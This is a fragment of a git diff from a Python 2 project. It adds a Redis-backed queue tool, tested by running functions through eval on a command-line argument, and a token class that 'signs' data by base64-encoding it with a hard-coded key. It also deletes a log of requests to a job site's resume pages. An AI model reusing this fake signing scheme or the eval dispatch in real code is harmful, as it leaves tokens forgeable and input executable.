+ else: + # hello world + item = self.__db.lpop(self.key) + + if isinstance(item, tuple): + item = item[1] + return item + + def get_nowait(self): + """Equivalent to get(False).""" + return self.get(False) + + +def test_put(): + q = RedisQueue('test') + q.put('hello world') + pass + + +def test_put_dict(): + q = RedisQueue('test') + q.put(json.dumps({'key': 1, 'value': 1})) + pass + + +def test_get(): + q = RedisQueue('test') + result = q.get() + print result, type(result) + + +def test_get_dict(): + q = RedisQueue('test') + result = q.get() + print result, type(result), json.loads(result) + + +def test_get_nowait(): + q = RedisQueue('test') + result = q.get_nowait() + print result + + +def run(): + # print sys.argv + try: + if len(sys.argv) > 1: + fun_name = eval(sys.argv[1]) + fun_name() + else: + print '缺失参数' + except NameError, e: + print e + print '未定义的方法[%s]' % sys.argv[1] + + +if __name__ == '__main__': + run() + + +""" +测试: + +✗ python tools/redis_queue.py test_put + +✗ python tools/redis_queue.py test_get +hello world/阻塞,不退出 + +✗ python tools/redis_queue.py test_get_nowait +hello world/None +""" \ No newline at end of file diff --git a/tools/time_log.pyc b/tools/time_log.pyc deleted file mode 100644 index adbc334..0000000 Binary files a/tools/time_log.pyc and /dev/null differ diff --git a/tools/token.py b/tools/token.py new file mode 100644 index 0000000..4bf8f4d --- /dev/null +++ b/tools/token.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: token.py +@time: 2016/11/29 下午7:13 +""" + +import base64 +import json + + +class Token(object): + def __init__(self): + self._key = '123qweasdzxc' + + def sign(self, data): + data += '.%s' % self._key + print data + return base64.b64encode(data) + + def unsign(self, data): + return base64.b64decode(data) + + +if __name__ == '__main__': + token = Token() + # 测试字符串 + a = token.sign('1234') + b = token.unsign(a) + print a, b + # 测试字典 + test_dict_str = json.dumps({'z': 56, 'm': 12, 'p': 34}, sort_keys=True) + a = token.sign(test_dict_str) + b = token.unsign(a) + print a, b diff --git a/zhilian.log b/zhilian.log deleted file mode 100644 index 9ca960c..0000000 --- a/zhilian.log +++ /dev/null @@ -1,10 +0,0 @@ -INFO:requests.packages.urllib3.connectionpool:Starting new HTTPS connection (1): passport.zhaopin.com -DEBUG:requests.packages.urllib3.connectionpool:"POST / HTTP/1.1" 200 None -INFO:requests.packages.urllib3.connectionpool:Starting new HTTP connection (1): i.zhaopin.com -DEBUG:requests.packages.urllib3.connectionpool:"GET / HTTP/1.1" 200 None -INFO:requests.packages.urllib3.connectionpool:Starting new HTTP connection (1): my.zhaopin.com -DEBUG:requests.packages.urllib3.connectionpool:"GET /myzhaopin/resume_list.asp HTTP/1.1" 200 None -DEBUG:requests.packages.urllib3.connectionpool:"GET /myzhaopin/resume_preview_edit.asp?ext_id=JM349012478R90250000000&resume_id=219661319&Version_Number=1&language_id=1&LocationUrl=resume_list HTTP/1.1" 200 None -DEBUG:requests.packages.urllib3.connectionpool:"GET /Resume/baseinfo/edit/?Ext_ID=JM349012478R90250000000&Language_ID=1&Resume_ID=219661319&Version_Number=1 HTTP/1.1" 200 None -DEBUG:requests.packages.urllib3.connectionpool:"GET /myzhaopin/resume_preview_edit.asp?ext_id=JM349012478R90250000000&resume_id=219661319&Version_Number=1&language_id=1&LocationUrl=resume_list HTTP/1.1" 200 None -DEBUG:requests.packages.urllib3.connectionpool:"GET /pic/2014/12/11/C4EAF9AD51844752A150FF9513339C6D.jpg HTTP/1.1" 200 28434